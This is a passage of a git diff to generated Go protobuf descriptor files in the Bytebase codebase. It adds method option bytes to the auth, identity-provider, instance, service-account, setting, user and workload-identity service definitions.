- "\x05Login\x12\x19.bytebase.v1.LoginRequest\x1a\x1a.bytebase.v1.LoginResponse\"%\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\x13:\x01*\"\x0e/v1/auth/login\x12d\n" +
- "\x06Logout\x12\x1a.bytebase.v1.LogoutRequest\x1a\x16.google.protobuf.Empty\"&\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\x14:\x01*\"\x0f/v1/auth/logout\x12\x85\x01\n" +
- "\rExchangeToken\x12!.bytebase.v1.ExchangeTokenRequest\x1a\".bytebase.v1.ExchangeTokenResponse\"-\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\x1b:\x01*\"\x16/v1/auth:exchangeToken\x12h\n" +
- "\x06Signup\x12\x1a.bytebase.v1.SignupRequest\x1a\x1a.bytebase.v1.LoginResponse\"&\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\x14:\x01*\"\x0f/v1/auth/signup\x12i\n" +
- "\aRefresh\x12\x1b.bytebase.v1.RefreshRequest\x1a\x1c.bytebase.v1.RefreshResponse\"#\x80\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\x15:\x01*\"\x10/v1/auth/refresh\x12\x7f\n" +
- "\x0fSwitchWorkspace\x12#.bytebase.v1.SwitchWorkspaceRequest\x1a\x1a.bytebase.v1.LoginResponse\"+\x90\xea0\x02\xa0\xea0\x03\x82\xd3\xe4\x93\x02\x1d:\x01*\"\x18/v1/auth:switchWorkspace\x12\x8e\x01\n" +
- "\x14RequestPasswordReset\x12(.bytebase.v1.RequestPasswordResetRequest\x1a\x16.google.protobuf.Empty\"4\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\":\x01*\"\x1d/v1/auth:requestPasswordReset\x12y\n" +
- "\rResetPassword\x12!.bytebase.v1.ResetPasswordRequest\x1a\x16.google.protobuf.Empty\"-\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\x1b:\x01*\"\x16/v1/auth:resetPassword\x12\x88\x01\n" +
- "\x12SendEmailLoginCode\x12&.bytebase.v1.SendEmailLoginCodeRequest\x1a\x16.google.protobuf.Empty\"2\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02 :\x01*\"\x1b/v1/auth:sendEmailLoginCodeB\xa6\x01\n" +
+ "\x0f_mfa_temp_token2\xf4\b\n" +
+ "\vAuthService\x12i\n" +
+ "\x05Login\x12\x19.bytebase.v1.LoginRequest\x1a\x1a.bytebase.v1.LoginResponse\")\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x01\x82\xd3\xe4\x93\x02\x13:\x01*\"\x0e/v1/auth/login\x12h\n" +
+ "\x06Logout\x12\x1a.bytebase.v1.LogoutRequest\x1a\x16.google.protobuf.Empty\"*\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x04\x82\xd3\xe4\x93\x02\x14:\x01*\"\x0f/v1/auth/logout\x12\x89\x01\n" +
+ "\rExchangeToken\x12!.bytebase.v1.ExchangeTokenRequest\x1a\".bytebase.v1.ExchangeTokenResponse\"1\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x01\x82\xd3\xe4\x93\x02\x1b:\x01*\"\x16/v1/auth:exchangeToken\x12l\n" +
+ "\x06Signup\x12\x1a.bytebase.v1.SignupRequest\x1a\x1a.bytebase.v1.LoginResponse\"*\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x01\x82\xd3\xe4\x93\x02\x14:\x01*\"\x0f/v1/auth/signup\x12m\n" +
+ "\aRefresh\x12\x1b.bytebase.v1.RefreshRequest\x1a\x1c.bytebase.v1.RefreshResponse\"'\x80\xea0\x01\xa0\xea0\x03\xa8\xea0\x01\x82\xd3\xe4\x93\x02\x15:\x01*\"\x10/v1/auth/refresh\x12\x83\x01\n" +
+ "\x0fSwitchWorkspace\x12#.bytebase.v1.SwitchWorkspaceRequest\x1a\x1a.bytebase.v1.LoginResponse\"/\x90\xea0\x02\xa0\xea0\x03\xa8\xea0\x01\x82\xd3\xe4\x93\x02\x1d:\x01*\"\x18/v1/auth:switchWorkspace\x12\x92\x01\n" +
+ "\x14RequestPasswordReset\x12(.bytebase.v1.RequestPasswordResetRequest\x1a\x16.google.protobuf.Empty\"8\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x02\x82\xd3\xe4\x93\x02\":\x01*\"\x1d/v1/auth:requestPasswordReset\x12}\n" +
+ "\rResetPassword\x12!.bytebase.v1.ResetPasswordRequest\x1a\x16.google.protobuf.Empty\"1\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x02\x82\xd3\xe4\x93\x02\x1b:\x01*\"\x16/v1/auth:resetPassword\x12\x8c\x01\n" +
+ "\x12SendEmailLoginCode\x12&.bytebase.v1.SendEmailLoginCodeRequest\x1a\x16.google.protobuf.Empty\"6\x80\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x02\x82\xd3\xe4\x93\x02 :\x01*\"\x1b/v1/auth:sendEmailLoginCodeB\xa6\x01\n" +
"\x0fcom.bytebase.v1B\x10AuthServiceProtoP\x01Z4github.com/bytebase/bytebase/backend/generated-go/v1\xa2\x02\x03BXX\xaa\x02\vBytebase.V1\xca\x02\vBytebase\\V1\xe2\x02\x17Bytebase\\V1\\GPBMetadata\xea\x02\fBytebase::V1b\x06proto3"
var (
diff --git a/backend/generated-go/v1/idp_service.pb.go b/backend/generated-go/v1/idp_service.pb.go
index 138e621a3f..380373e35a 100644
--- a/backend/generated-go/v1/idp_service.pb.go
+++ b/backend/generated-go/v1/idp_service.pb.go
@@ -1534,14 +1534,14 @@ const file_v1_idp_service_proto_rawDesc = "" +
"\x0fOAuth2AuthStyle\x12!\n" +
"\x1dOAUTH2_AUTH_STYLE_UNSPECIFIED\x10\x00\x12\r\n" +
"\tIN_PARAMS\x10\x01\x12\r\n" +
- "\tIN_HEADER\x10\x022\xdf\b\n" +
+ "\tIN_HEADER\x10\x022\xf7\b\n" +
"\x17IdentityProviderService\x12\x9f\x01\n" +
"\x13GetIdentityProvider\x12'.bytebase.v1.GetIdentityProviderRequest\x1a\x1d.bytebase.v1.IdentityProvider\"@\xdaA\x04name\x8a\xea0\x18bb.identityProviders.get\x90\xea0\x01\x82\xd3\xe4\x93\x02\x13\x12\x11/v1/{name=idps/*}\x12\xa9\x01\n" +
- "\x15ListIdentityProviders\x12).bytebase.v1.ListIdentityProvidersRequest\x1a*.bytebase.v1.ListIdentityProvidersResponse\"9\xdaA\x00\x80\xea0\x01\x82\xd3\xe4\x93\x02,Z \x12\x1e/v1/{parent=workspaces/*}/idps\x12\b/v1/idps\x12\xb2\x01\n" +
- "\x16CreateIdentityProvider\x12*.bytebase.v1.CreateIdentityProviderRequest\x1a\x1d.bytebase.v1.IdentityProvider\"M\xdaA\x00\x8a\xea0\x1bbb.identityProviders.create\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02\x1d:\x11identity_provider\"\b/v1/idps\x12\xeb\x01\n" +
- "\x16UpdateIdentityProvider\x12*.bytebase.v1.UpdateIdentityProviderRequest\x1a\x1d.bytebase.v1.IdentityProvider\"\x85\x01\xdaA\x1didentity_provider,update_mask\x8a\xea0\x1bbb.identityProviders.update\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x028:\x11identity_provider2#/v1/{identity_provider.name=idps/*}\x12\xa5\x01\n" +
- "\x16DeleteIdentityProvider\x12*.bytebase.v1.DeleteIdentityProviderRequest\x1a\x16.google.protobuf.Empty\"G\xdaA\x04name\x8a\xea0\x1bbb.identityProviders.delete\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02\x13*\x11/v1/{name=idps/*}\x12\xaa\x01\n" +
- "\x14TestIdentityProvider\x12(.bytebase.v1.TestIdentityProviderRequest\x1a).bytebase.v1.TestIdentityProviderResponse\"=\x8a\xea0\x1bbb.identityProviders.update\x90\xea0\x01\x82\xd3\xe4\x93\x02\x14:\x01*\"\x0f/v1/idps/*:testB\xa5\x01\n" +
+ "\x15ListIdentityProviders\x12).bytebase.v1.ListIdentityProvidersRequest\x1a*.bytebase.v1.ListIdentityProvidersResponse\"9\xdaA\x00\x80\xea0\x01\x82\xd3\xe4\x93\x02,Z \x12\x1e/v1/{parent=workspaces/*}/idps\x12\b/v1/idps\x12\xba\x01\n" +
+ "\x16CreateIdentityProvider\x12*.bytebase.v1.CreateIdentityProviderRequest\x1a\x1d.bytebase.v1.IdentityProvider\"U\xdaA\x00\x8a\xea0\x1bbb.identityProviders.create\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x02\x1d:\x11identity_provider\"\b/v1/idps\x12\xf3\x01\n" +
+ "\x16UpdateIdentityProvider\x12*.bytebase.v1.UpdateIdentityProviderRequest\x1a\x1d.bytebase.v1.IdentityProvider\"\x8d\x01\xdaA\x1didentity_provider,update_mask\x8a\xea0\x1bbb.identityProviders.update\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x028:\x11identity_provider2#/v1/{identity_provider.name=idps/*}\x12\xa5\x01\n" +
+ "\x16DeleteIdentityProvider\x12*.bytebase.v1.DeleteIdentityProviderRequest\x1a\x16.google.protobuf.Empty\"G\xdaA\x04name\x8a\xea0\x1bbb.identityProviders.delete\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02\x13*\x11/v1/{name=idps/*}\x12\xb2\x01\n" +
+ "\x14TestIdentityProvider\x12(.bytebase.v1.TestIdentityProviderRequest\x1a).bytebase.v1.TestIdentityProviderResponse\"E\x8a\xea0\x1bbb.identityProviders.update\x90\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x02\x14:\x01*\"\x0f/v1/idps/*:testB\xa5\x01\n" +
"\x0fcom.bytebase.v1B\x0fIdpServiceProtoP\x01Z4github.com/bytebase/bytebase/backend/generated-go/v1\xa2\x02\x03BXX\xaa\x02\vBytebase.V1\xca\x02\vBytebase\\V1\xe2\x02\x17Bytebase\\V1\\GPBMetadata\xea\x02\fBytebase::V1b\x06proto3"
var (
diff --git a/backend/generated-go/v1/instance_service.pb.go b/backend/generated-go/v1/instance_service.pb.go
index d59d1b01a0..f4db69fcfd 100644
--- a/backend/generated-go/v1/instance_service.pb.go
+++ b/backend/generated-go/v1/instance_service.pb.go
@@ -3359,7 +3359,7 @@ const file_v1_instance_service_proto_rawDesc = "" +
"\x0eDataSourceType\x12\x1b\n" +
"\x17DATA_SOURCE_UNSPECIFIED\x10\x00\x12\t\n" +
"\x05ADMIN\x10\x01\x12\r\n" +
- "\tREAD_ONLY\x10\x022\xd6\x15\n" +
+ "\tREAD_ONLY\x10\x022\xde\x15\n" +
"\x0fInstanceService\x12\xa9\x01\n" +
"\vGetInstance\x12\x1f.bytebase.v1.GetInstanceRequest\x1a\x15.bytebase.v1.Instance\"b\xdaA\x04name\x8a\xea0\x10bb.instances.get\x90\xea0\x01\x82\xd3\xe4\x93\x02=Z#\x12!/v1/{name=projects/*/instances/*}\x12\x16/v1/{name=instances/*}\x12\xae\x01\n" +
"\rListInstances\x12!.bytebase.v1.ListInstancesRequest\x1a\".bytebase.v1.ListInstancesResponse\"V\xdaA\x00\x8a\xea0\x11bb.instances.list\x90\xea0\x01\x82\xd3\xe4\x93\x024Z#\x12!/v1/{parent=projects/*}/instances\x12\r/v1/instances\x12\xc5\x01\n" +
@@ -3372,8 +3372,8 @@ const file_v1_instance_service_proto_rawDesc = "" +
"\x12BatchSyncInstances\x12&.bytebase.v1.BatchSyncInstancesRequest\x1a'.bytebase.v1.BatchSyncInstancesResponse\"m\x8a\xea0\x11bb.instances.sync\x90\xea0\x01\x82\xd3\xe4\x93\x02N:\x01*Z0:\x01*\"+/v1/{parent=projects/*}/instances:batchSync\"\x17/v1/instances:batchSync\x12\xe4\x01\n" +
"\x14BatchUpdateInstances\x12(.bytebase.v1.BatchUpdateInstancesRequest\x1a).bytebase.v1.BatchUpdateInstancesResponse\"w\x8a\xea0\x13bb.instances.update\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02R:\x01*Z2:\x01*\"-/v1/{parent=projects/*}/instances:batchUpdate\"\x19/v1/instances:batchUpdate\x12\xd0\x01\n" +
"\rAddDataSource\x12!.bytebase.v1.AddDataSourceRequest\x1a\x15.bytebase.v1.Instance\"\x84\x01\x8a\xea0\x13bb.instances.update\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02_:\x01*Z4:\x01*\"//v1/{name=projects/*/instances/*}:addDataSource\"$/v1/{name=instances/*}:addDataSource\x12\xdc\x01\n" +
- "\x10RemoveDataSource\x12$.bytebase.v1.RemoveDataSourceRequest\x1a\x15.bytebase.v1.Instance\"\x8a\x01\x8a\xea0\x13bb.instances.update\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02e:\x01*Z7:\x01*\"2/v1/{name=projects/*/instances/*}:removeDataSource\"'/v1/{name=instances/*}:removeDataSource\x12\x8a\x02\n" +
- "\x10UpdateDataSource\x12$.bytebase.v1.UpdateDataSourceRequest\x1a\x15.bytebase.v1.Instance\"\xb8\x01\xdaA\x17data_source,update_mask\x8a\xea0\x13bb.instances.update\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02y:\vdata_sourceZA:\vdata_source22/v1/{name=projects/*/instances/*}:updateDataSource2'/v1/{name=instances/*}:updateDataSourceB\xaa\x01\n" +
+ "\x10RemoveDataSource\x12$.bytebase.v1.RemoveDataSourceRequest\x1a\x15.bytebase.v1.Instance\"\x8a\x01\x8a\xea0\x13bb.instances.update\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02e:\x01*Z7:\x01*\"2/v1/{name=projects/*/instances/*}:removeDataSource\"'/v1/{name=instances/*}:removeDataSource\x12\x92\x02\n" +
+ "\x10UpdateDataSource\x12$.bytebase.v1.UpdateDataSourceRequest\x1a\x15.bytebase.v1.Instance\"\xc0\x01\xdaA\x17data_source,update_mask\x8a\xea0\x13bb.instances.update\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x02y:\vdata_sourceZA:\vdata_source22/v1/{name=projects/*/instances/*}:updateDataSource2'/v1/{name=instances/*}:updateDataSourceB\xaa\x01\n" +
"\x0fcom.bytebase.v1B\x14InstanceServiceProtoP\x01Z4github.com/bytebase/bytebase/backend/generated-go/v1\xa2\x02\x03BXX\xaa\x02\vBytebase.V1\xca\x02\vBytebase\\V1\xe2\x02\x17Bytebase\\V1\\GPBMetadata\xea\x02\fBytebase::V1b\x06proto3"
var (
diff --git a/backend/generated-go/v1/service_account_service.pb.go b/backend/generated-go/v1/service_account_service.pb.go
index 5a29825697..2f47cacf0d 100644
--- a/backend/generated-go/v1/service_account_service.pb.go
+++ b/backend/generated-go/v1/service_account_service.pb.go
@@ -589,13 +589,13 @@ const file_v1_service_account_service_proto_rawDesc = "" +
"\x1bbytebase.com/ServiceAccountR\x04name\"X\n" +
"\x1dUndeleteServiceAccountRequest\x127\n" +
"\x04name\x18\x01 \x01(\tB#\xe0A\x02\xfaA\x1d\n" +
- "\x1bbytebase.com/ServiceAccountR\x04name2\xb5\n" +
+ "\x1bbytebase.com/ServiceAccountR\x04name2\xc5\n" +
"\n" +
- "\x15ServiceAccountService\x12\xaf\x02\n" +
- "\x14CreateServiceAccount\x12(.bytebase.v1.CreateServiceAccountRequest\x1a\x1b.bytebase.v1.ServiceAccount\"\xcf\x01\xdaA)parent,service_account,service_account_id\x8a\xea0\x19bb.serviceAccounts.create\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02x:\x0fservice_accountZ<:\x0fservice_account\")/v1/{parent=workspaces/*}/serviceAccounts\"'/v1/{parent=projects/*}/serviceAccounts\x12\xa2\x01\n" +
+ "\x15ServiceAccountService\x12\xb7\x02\n" +
+ "\x14CreateServiceAccount\x12(.bytebase.v1.CreateServiceAccountRequest\x1a\x1b.bytebase.v1.ServiceAccount\"\xd7\x01\xdaA)parent,service_account,service_account_id\x8a\xea0\x19bb.serviceAccounts.create\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x02x:\x0fservice_accountZ<:\x0fservice_account\")/v1/{parent=workspaces/*}/serviceAccounts\"'/v1/{parent=projects/*}/serviceAccounts\x12\xa2\x01\n" +
"\x11GetServiceAccount\x12%.bytebase.v1.GetServiceAccountRequest\x1a\x1b.bytebase.v1.ServiceAccount\"I\xdaA\x04name\x8a\xea0\x16bb.serviceAccounts.get\x90\xea0\x01\x82\xd3\xe4\x93\x02\x1e\x12\x1c/v1/{name=serviceAccounts/*}\x12\xef\x01\n" +
- "\x13ListServiceAccounts\x12'.bytebase.v1.ListServiceAccountsRequest\x1a(.bytebase.v1.ListServiceAccountsResponse\"\x84\x01\xdaA\x06parent\x8a\xea0\x17bb.serviceAccounts.list\x90\xea0\x01\x82\xd3\xe4\x93\x02VZ+\x12)/v1/{parent=workspaces/*}/serviceAccounts\x12'/v1/{parent=projects/*}/serviceAccounts\x12\xe8\x01\n" +
- "\x14UpdateServiceAccount\x12(.bytebase.v1.UpdateServiceAccountRequest\x1a\x1b.bytebase.v1.ServiceAccount\"\x88\x01\xdaA\x1bservice_account,update_mask\x8a\xea0\x19bb.serviceAccounts.update\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02?:\x0fservice_account2,/v1/{service_account.name=serviceAccounts/*}\x12\xaa\x01\n" +
+ "\x13ListServiceAccounts\x12'.bytebase.v1.ListServiceAccountsRequest\x1a(.bytebase.v1.ListServiceAccountsResponse\"\x84\x01\xdaA\x06parent\x8a\xea0\x17bb.serviceAccounts.list\x90\xea0\x01\x82\xd3\xe4\x93\x02VZ+\x12)/v1/{parent=workspaces/*}/serviceAccounts\x12'/v1/{parent=projects/*}/serviceAccounts\x12\xf0\x01\n" +
+ "\x14UpdateServiceAccount\x12(.bytebase.v1.UpdateServiceAccountRequest\x1a\x1b.bytebase.v1.ServiceAccount\"\x90\x01\xdaA\x1bservice_account,update_mask\x8a\xea0\x19bb.serviceAccounts.update\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x02?:\x0fservice_account2,/v1/{service_account.name=serviceAccounts/*}\x12\xaa\x01\n" +
"\x14DeleteServiceAccount\x12(.bytebase.v1.DeleteServiceAccountRequest\x1a\x16.google.protobuf.Empty\"P\xdaA\x04name\x8a\xea0\x19bb.serviceAccounts.delete\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02\x1e*\x1c/v1/{name=serviceAccounts/*}\x12\xba\x01\n" +
"\x16UndeleteServiceAccount\x12*.bytebase.v1.UndeleteServiceAccountRequest\x1a\x1b.bytebase.v1.ServiceAccount\"W\x8a\xea0\x1bbb.serviceAccounts.undelete\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02*:\x01*\"%/v1/{name=serviceAccounts/*}:undeleteB\xb0\x01\n" +
"\x0fcom.bytebase.v1B\x1aServiceAccountServiceProtoP\x01Z4github.com/bytebase/bytebase/backend/generated-go/v1\xa2\x02\x03BXX\xaa\x02\vBytebase.V1\xca\x02\vBytebase\\V1\xe2\x02\x17Bytebase\\V1\\GPBMetadata\xea\x02\fBytebase::V1b\x06proto3"
diff --git a/backend/generated-go/v1/setting_service.pb.go b/backend/generated-go/v1/setting_service.pb.go
index 9fe3873202..b766794c8d 100644
--- a/backend/generated-go/v1/setting_service.pb.go
+++ b/backend/generated-go/v1/setting_service.pb.go
@@ -3726,13 +3726,13 @@ const file_v1_setting_service_proto_rawDesc = "" +
" DATABASE_CHANGE_MODE_UNSPECIFIED\x10\x00\x12\f\n" +
"\bPIPELINE\x10\x01\x12\n" +
"\n" +
- "\x06EDITOR\x10\x022\xe1\x04\n" +
+ "\x06EDITOR\x10\x022\xf1\x04\n" +
"\x0eSettingService\x12\x84\x01\n" +
"\fListSettings\x12 .bytebase.v1.ListSettingsRequest\x1a!.bytebase.v1.ListSettingsResponse\"/\xdaA\x00\x8a\xea0\x10bb.settings.list\x90\xea0\x01\x82\xd3\xe4\x93\x02\x0e\x12\f/v1/settings\x12\x7f\n" +
"\n" +
- "GetSetting\x12\x1e.bytebase.v1.GetSettingRequest\x1a\x14.bytebase.v1.Setting\";\xdaA\x04name\x8a\xea0\x0fbb.settings.get\x90\xea0\x02\x82\xd3\xe4\x93\x02\x17\x12\x15/v1/{name=settings/*}\x12\x93\x01\n" +
- "\rUpdateSetting\x12!.bytebase.v1.UpdateSettingRequest\x1a\x14.bytebase.v1.Setting\"I\x8a\xea0\x0fbb.settings.set\x90\xea0\x02\x98\xea0\x01\x82\xd3\xe4\x93\x02(:\asetting2\x1d/v1/{setting.name=settings/*}\x12\xb0\x01\n" +
- "\x10TestEmailSetting\x12$.bytebase.v1.TestEmailSettingRequest\x1a%.bytebase.v1.TestEmailSettingResponse\"O\x8a\xea0\x0fbb.settings.set\x90\xea0\x01\x82\xd3\xe4\x93\x022:\x01*\"-/v1/{parent=workspaces/*}/settings/EMAIL:testB\xa9\x01\n" +
+ "GetSetting\x12\x1e.bytebase.v1.GetSettingRequest\x1a\x14.bytebase.v1.Setting\";\xdaA\x04name\x8a\xea0\x0fbb.settings.get\x90\xea0\x02\x82\xd3\xe4\x93\x02\x17\x12\x15/v1/{name=settings/*}\x12\x9b\x01\n" +
+ "\rUpdateSetting\x12!.bytebase.v1.UpdateSettingRequest\x1a\x14.bytebase.v1.Setting\"Q\x8a\xea0\x0fbb.settings.set\x90\xea0\x02\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\a\x82\xd3\xe4\x93\x02(:\asetting2\x1d/v1/{setting.name=settings/*}\x12\xb8\x01\n" +
+ "\x10TestEmailSetting\x12$.bytebase.v1.TestEmailSettingRequest\x1a%.bytebase.v1.TestEmailSettingResponse\"W\x8a\xea0\x0fbb.settings.set\x90\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x022:\x01*\"-/v1/{parent=workspaces/*}/settings/EMAIL:testB\xa9\x01\n" +
"\x0fcom.bytebase.v1B\x13SettingServiceProtoP\x01Z4github.com/bytebase/bytebase/backend/generated-go/v1\xa2\x02\x03BXX\xaa\x02\vBytebase.V1\xca\x02\vBytebase\\V1\xe2\x02\x17Bytebase\\V1\\GPBMetadata\xea\x02\fBytebase::V1b\x06proto3"
var (
diff --git a/backend/generated-go/v1/user_service.pb.go b/backend/generated-go/v1/user_service.pb.go
index b3e18ca3af..f4fc948d31 100644
--- a/backend/generated-go/v1/user_service.pb.go
+++ b/backend/generated-go/v1/user_service.pb.go
@@ -897,21 +897,21 @@ const file_v1_user_service_proto_rawDesc = "" +
"\x0flast_login_time\x18\x01 \x01(\v2\x1a.google.protobuf.TimestampR\rlastLoginTime\x12U\n" +
"\x19last_change_password_time\x18\x02 \x01(\v2\x1a.google.protobuf.TimestampR\x16lastChangePasswordTime\x12\x16\n" +
"\x06source\x18\x03 \x01(\tR\x06source:%\xeaA\"\n" +
- "\x11bytebase.com/User\x12\rusers/{email}J\x04\b\x05\x10\x06J\x04\b\x0f\x10\x102\xe6\b\n" +
+ "\x11bytebase.com/User\x12\rusers/{email}J\x04\b\x05\x10\x06J\x04\b\x0f\x10\x102\xfb\b\n" +
"\vUserService\x12p\n" +
"\aGetUser\x12\x1b.bytebase.v1.GetUserRequest\x1a\x11.bytebase.v1.User\"5\xdaA\x04name\x8a\xea0\fbb.users.get\x90\xea0\x01\x82\xd3\xe4\x93\x02\x14\x12\x12/v1/{name=users/*}\x12\x86\x01\n" +
"\rBatchGetUsers\x12!.bytebase.v1.BatchGetUsersRequest\x1a\".bytebase.v1.BatchGetUsersResponse\".\x8a\xea0\fbb.users.get\x90\xea0\x01\x82\xd3\xe4\x93\x02\x14\x12\x12/v1/users:batchGet\x12Y\n" +
"\x0eGetCurrentUser\x12\x16.google.protobuf.Empty\x1a\x11.bytebase.v1.User\"\x1c\x80\xea0\x01\x90\xea0\x02\x82\xd3\xe4\x93\x02\x0e\x12\f/v1/users/me\x12{\n" +
- "\tListUsers\x12\x1d.bytebase.v1.ListUsersRequest\x1a\x1e.bytebase.v1.ListUsersResponse\"/\xdaA\x06parent\x8a\xea0\rbb.users.list\x90\xea0\x01\x82\xd3\xe4\x93\x02\v\x12\t/v1/users\x12z\n" +
+ "\tListUsers\x12\x1d.bytebase.v1.ListUsersRequest\x1a\x1e.bytebase.v1.ListUsersResponse\"/\xdaA\x06parent\x8a\xea0\rbb.users.list\x90\xea0\x01\x82\xd3\xe4\x93\x02\v\x12\t/v1/users\x12\x82\x01\n" +
"\n" +
- "CreateUser\x12\x1e.bytebase.v1.CreateUserRequest\x1a\x11.bytebase.v1.User\"9\xdaA\x04user\x8a\xea0\x0fbb.users.create\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02\x11:\x04user\"\t/v1/users\x12\x85\x01\n" +
+ "CreateUser\x12\x1e.bytebase.v1.CreateUserRequest\x1a\x11.bytebase.v1.User\"A\xdaA\x04user\x8a\xea0\x0fbb.users.create\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x02\x11:\x04user\"\t/v1/users\x12\x89\x01\n" +
"\n" +
- "UpdateUser\x12\x1e.bytebase.v1.UpdateUserRequest\x1a\x11.bytebase.v1.User\"D\xdaA\x10user,update_mask\x90\xea0\x02\x98\xea0\x01\xa0\xea0\x03\x82\xd3\xe4\x93\x02\x1f:\x04user2\x17/v1/{user.name=users/*}\x12o\n" +
+ "UpdateUser\x12\x1e.bytebase.v1.UpdateUserRequest\x1a\x11.bytebase.v1.User\"H\xdaA\x10user,update_mask\x90\xea0\x02\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x03\x82\xd3\xe4\x93\x02\x1f:\x04user2\x17/v1/{user.name=users/*}\x12o\n" +
"\n" +
"DeleteUser\x12\x1e.bytebase.v1.DeleteUserRequest\x1a\x16.google.protobuf.Empty\")\xdaA\x04name\x90\xea0\x02\x98\xea0\x01\x82\xd3\xe4\x93\x02\x14*\x12/v1/{name=users/*}\x12s\n" +
- "\fUndeleteUser\x12 .bytebase.v1.UndeleteUserRequest\x1a\x11.bytebase.v1.User\".\x90\xea0\x02\x98\xea0\x01\x82\xd3\xe4\x93\x02 :\x01*\"\x1b/v1/{name=users/*}:undelete\x12\x99\x01\n" +
- "\vUpdateEmail\x12\x1f.bytebase.v1.UpdateEmailRequest\x1a\x11.bytebase.v1.User\"V\xdaA\n" +
- "name,email\x8a\xea0\x14bb.users.updateEmail\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02#:\x01*\"\x1e/v1/{name=users/*}:updateEmailB\xa6\x01\n" +
+ "\fUndeleteUser\x12 .bytebase.v1.UndeleteUserRequest\x1a\x11.bytebase.v1.User\".\x90\xea0\x02\x98\xea0\x01\x82\xd3\xe4\x93\x02 :\x01*\"\x1b/v1/{name=users/*}:undelete\x12\xa1\x01\n" +
+ "\vUpdateEmail\x12\x1f.bytebase.v1.UpdateEmailRequest\x1a\x11.bytebase.v1.User\"^\xdaA\n" +
+ "name,email\x8a\xea0\x14bb.users.updateEmail\x90\xea0\x01\x98\xea0\x01\xa0\xea0\x03\xa8\xea0\x06\x82\xd3\xe4\x93\x02#:\x01*\"\x1e/v1/{name=users/*}:updateEmailB\xa6\x01\n" +
"\x0fcom.bytebase.v1B\x10UserServiceProtoP\x01Z4github.com/bytebase/bytebase/backend/generated-go/v1\xa2\x02\x03BXX\xaa\x02\vBytebase.V1\xca\x02\vBytebase\\V1\xe2\x02\x17Bytebase\\V1\\GPBMetadata\xea\x02\fBytebase::V1b\x06proto3"
var (
diff --git a/backend/generated-go/v1/workload_identity_service.pb.go b/backend/generated-go/v1/workload_identity_service.pb.go
index 393c3bda29..3d3f72da45 100644
--- a/backend/generated-go/v1/workload_identity_service.pb.go
+++ b/backend/generated-go/v1/workload_identity_service.pb.go
@@ -723,12 +723,12 @@ const file_v1_workload_identity_service_proto_rawDesc = "" +
"\x1dbytebase.com/WorkloadIdentityR\x04name\"\\\n" +
"\x1fUndeleteWorkloadIdentityRequest\x129\n" +
"\x04name\x18\x01 \x01(\tB%\xe0A\x02\xfaA\x1f\n" +
- "\x1dbytebase.com/WorkloadIdentityR\x04name2\x95\v\n" +
- "\x17WorkloadIdentityService\x12\xc7\x02\n" +
- "\x16CreateWorkloadIdentity\x12*.bytebase.v1.CreateWorkloadIdentityRequest\x1a\x1d.bytebase.v1.WorkloadIdentity\"\xe1\x01\xdaA-parent,workload_identity,workload_identity_id\x8a\xea0\x1cbb.workloadIdentities.create\x90\xea0\x01\x98\xea0\x01\x82\xd3\xe4\x93\x02\x82\x01:\x11workload_identityZA:\x11workload_identity\",/v1/{parent=workspaces/*}/workloadIdentities\"*/v1/{parent=projects/*}/workloadIdentities\x12\xae\x01\n" +
+ "\x1dbytebase.com/WorkloadIdentityR\x04name2\xa5\v\n" +
+ "\x17WorkloadIdentityService\x12\xcf\x02\n" +
